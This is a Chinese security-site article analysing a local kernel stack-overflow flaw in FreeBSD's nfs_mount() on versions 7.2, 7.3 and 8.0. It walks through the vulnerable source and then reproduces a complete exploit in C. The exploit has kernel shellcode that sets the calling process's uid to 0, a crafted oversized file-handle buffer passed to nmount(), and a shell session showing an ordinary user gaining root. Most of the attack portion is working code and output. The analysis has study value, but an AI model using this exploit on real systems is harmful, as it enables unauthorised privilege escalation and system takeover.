首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
FreeBSD Kernel nfs_mount漏洞分析
来源:http://hi.baidu.com/wzt85/blog 作者:wzt 发布时间:2010-08-18  
最近freebsd爆出了2个内核本地提权漏洞, 一个内核堆栈溢出, 一个内核堆溢出, 2个漏洞都是Patroklos Argyroudis大牛发现的, 前个漏洞给出了exploit代码, 后面一个只给出了一个crash kernel的poc。Patroklos Argyroudis在09年的phrack66期杂志中,就讲述了如何exploit freebsd内核堆溢出的文章: 《Exploiting UMA, FreeBSD's kernel memory allocator》, 里面有一个poc的例子来讲述如何写exploit代码。先前提到的第2个内核堆溢出, 他说自己已经写出了一个可利用的exploit代码, 但是最近不会公开出来,因为目前攻击freebsd内核堆溢出的exploit代码还没有人公开过。 这位大牛在今年的欧洲blackhat大会上也有一篇关于freebsd内核溢出技术的讲座:《Binding the Daemon: FreeBSD Kernel Stack and Heap Exploitation》 有兴趣的朋友可以仔细看看, freebsd的内核堆栈和堆溢出是跟linux的都大同小异的。 本次先分析下内核堆栈溢出的漏洞, 受影响版本为FreeBSD 8.0, 7.3 and 7.2。我看的是freebsd7.3的代码:
/usr/src/sys/nfsclient/nfs_vfsops.c:
问题出在nfs_mount()系统调用上:
static int
nfs_mount(struct mount *mp, struct thread *td)
{
...
/* 如果nfs有参数通过nfs_args从用户空间传递进来, 那么内核需要将这些参数
拷贝进内核来, 注意把has_nfs_args_opt值设为1标记一下。 */
if (vfs_getopt(mp->mnt_optnew, "nfs_args", NULL, NULL) == 0) {
error = vfs_copyopt(mp->mnt_optnew, "nfs_args", &args,
sizeof args);
if (error)
goto out;

if (args.version != NFS_ARGSVERSION) {
error = EPROGMISMATCH;
goto out;
}

has_nfs_args_opt = 1; 
}

...
// 如果有"fh"属性, has_fh_opt就设为1
if (vfs_getopt(mp->mnt_optnew, "fh", (void **)&args.fh,
&args.fhsize) == 0) {
has_fh_opt = 1;
}
...

if (has_nfs_args_opt) {
/* 当前面2个条件都满足时, 内核调用copyin函数从用户空间拷贝数据进来,
但这里犯了一个错误args.fh,args.fhsize都是用户空间可以控制的数据,
并且没有做任何长度检查, args.fhsize设置不合理的话就会造成内核堆栈溢出                    了。 */
if (!has_fh_opt) {
error = copyin((caddr_t)args.fh, (caddr_t)nfh,
args.fhsize);
if (error) {
goto out;
}
args.fh = nfh;
}
...
}
所以从上面的分析来看, 可以这样exploit:
1、设置nfs_args参数。
2、不要设置fh属性。
3、多尝试几次args.fhsize的值, 来精确定位溢出点的位置。

看下Patroklos Argyroudis的exploit代码:

/* 溢出点在离esp + 268的地方 */
#define BUFSIZE     272

#define FSNAME      "nfs"
#define DIRPATH     "/tmp/nfs"

/* 这个内核shellcode写的非常高效简洁,
通过%fs:0得到当前线程struct thread的结构
movl 0x4(%eax), %eax得到当前进程struct proc的结构,
movl  0x30(%eax),%eax得struct ucred的结构,
xorl  %ecx, %ecx ecx清0
movl  %ecx, 0x4(%eax) urced.uid设为0
%ecx, 0x8(%eax) urced.rid设为0
struct pcpu {
struct thread   *pc_curthread;          /* Current thread */
...
};

struct thread {
struct mtx      *volatile td_lock; /* replaces sched lock */
struct proc     *td_proc;       /* (*) Associated process. */
...
}

struct ucred {
u_int cr_ref; /* reference count */
#define cr_startcopy cr_uid
uid_t cr_uid; /* effective user id */
uid_t cr_ruid; /* real user id */
uid_t cr_svuid; /* saved user id */
short cr_ngroups; /* number of groups */
gid_t cr_groups[NGROUPS]; /* groups */
gid_t cr_rgid; /* real group id */
gid_t cr_svgid; /* saved group id */
...
}

struct proc {
LIST_ENTRY(proc) p_list; /* (d) List of all processes. */
TAILQ_HEAD(, thread) p_threads; /* (j) all threads. */
TAILQ_HEAD(, kse_upcall) p_upcalls; /* (j) All upcalls in the proc. */
struct mtx p_slock; /* process spin lock */
struct ucred *p_ucred; /* (c) Process owner's identity. */
...
}

上面是提权的部分, 了解内核溢出的朋友应该知道提权完毕之后, 必须让内核继续稳定的运行,
linux下面用到的方法是重新设置用户的cs,ss,eip, cflags值, 然后用iret指令强制退出本次
系统调用。 freebsd下的这个exploit用到了一个创新的方法,不用iret这种不稳定的方法, 采用
的方法是:恢复堆栈, 在调用ret直接返回到上层函数中。 这个方法简单高效, 但不通用,因为你要
手工反汇编每个有问题的函数,适当的调整堆栈恢复的大小。

unsigned char kernelcode[] =
"\x64\xa1\x00\x00\x00\x00"      /* movl  %fs:0, %eax */
"\x8b\x40\x04"                  /* movl  0x4(%eax), %eax */
"\x8b\x40\x30"                  /* movl  0x30(%eax),%eax */
"\x31\xc9"                      /* xorl  %ecx, %ecx */
"\x89\x48\x04"                  /* movl  %ecx, 0x4(%eax) */
"\x89\x48\x08"                  /* movl  %ecx, 0x8(%eax) */
"\x81\xc4\xb0\x01\x00\x00"      /* addl  $0x1b0, %esp */
"\x5b"                          /* popl  %ebx */
"\x5e"                          /* popl  %esi */
"\x5f"                          /* popl  %edi */
"\x5d"                          /* popl  %ebp */
"\xc3";                         /* ret */

int
main()
{
char *ptr;
long *lptr;
struct nfs_args na;
struct iovec iov[6];

na.version = 3;
na.fh = calloc(BUFSIZE, sizeof(char));

if(na.fh == NULL)
{
perror("calloc");
exit(1);
}

memset(na.fh, 0x41, BUFSIZE);
na.fhsize = BUFSIZE;

/* 填充ebp, eip */
ptr = (char *)na.fh;
lptr = (long *)(na.fh + BUFSIZE - 8);

*lptr++ = 0x12345678;       /* saved %ebp */
*lptr++ = (u_long)ptr;      /* saved %eip */

memcpy(ptr, kernelcode, (sizeof(kernelcode) - 1));

mkdir(DIRPATH, 0700);

iov[0].iov_base = "fstype";
iov[0].iov_len = strlen(iov[0].iov_base) + 1;

iov[1].iov_base = FSNAME;
iov[1].iov_len = strlen(iov[1].iov_base) + 1;

iov[2].iov_base = "fspath";
iov[2].iov_len = strlen(iov[2].iov_base) + 1;

iov[3].iov_base = DIRPATH;
iov[3].iov_len = strlen(iov[3].iov_base) + 1;

iov[4].iov_base = "nfs_args";
iov[4].iov_len = strlen(iov[4].iov_base) + 1;

iov[5].iov_base = &na;
iov[5].iov_len = sizeof(na);

printf("[*] calling nmount()\n");

if(nmount(iov, 6, 0) < 0)
{
fprintf(stderr, "[!] nmount error: %d\n", errno);
perror("nmount");
rmdir(DIRPATH);
free(na.fh);
exit(1);
}

printf("[*] unmounting and deleting %s\n", DIRPATH);

unmount(DIRPATH, 0);
rmdir(DIRPATH);
free(na.fh);

return 0;
}
$ id
uid=1001(wzt) gid=1001(wzt) groups=1001(wzt)
$ ./exp
[*] calling nmount()
[!] nmount error: -1016471040
nmount: Unknown error: -1016471040
$ id
uid=0(root) gid=0(wheel) egid=1001(wzt) groups=1001(wzt)
$
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·dedecms v5.3-v5.6 Get Shell 0d
·dedecms5.3--5.6通杀执行漏洞
·Dedecms <= V5.6 Final模板执行
·FreeBSD Kernel mountnfs() 漏洞
·Microsoft IE 8 toStaticHTML()
·请下载新版工行个人网银
·新版搜狗输入法已修复多个安全漏
·ecshop SQL注射漏洞
·discuz 7.x xss 反射型exploit
·Windows Win32k.sys 窗口创建漏
·最新 phpcms 0day(图)
·dvbbs php2.0 多个漏洞
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved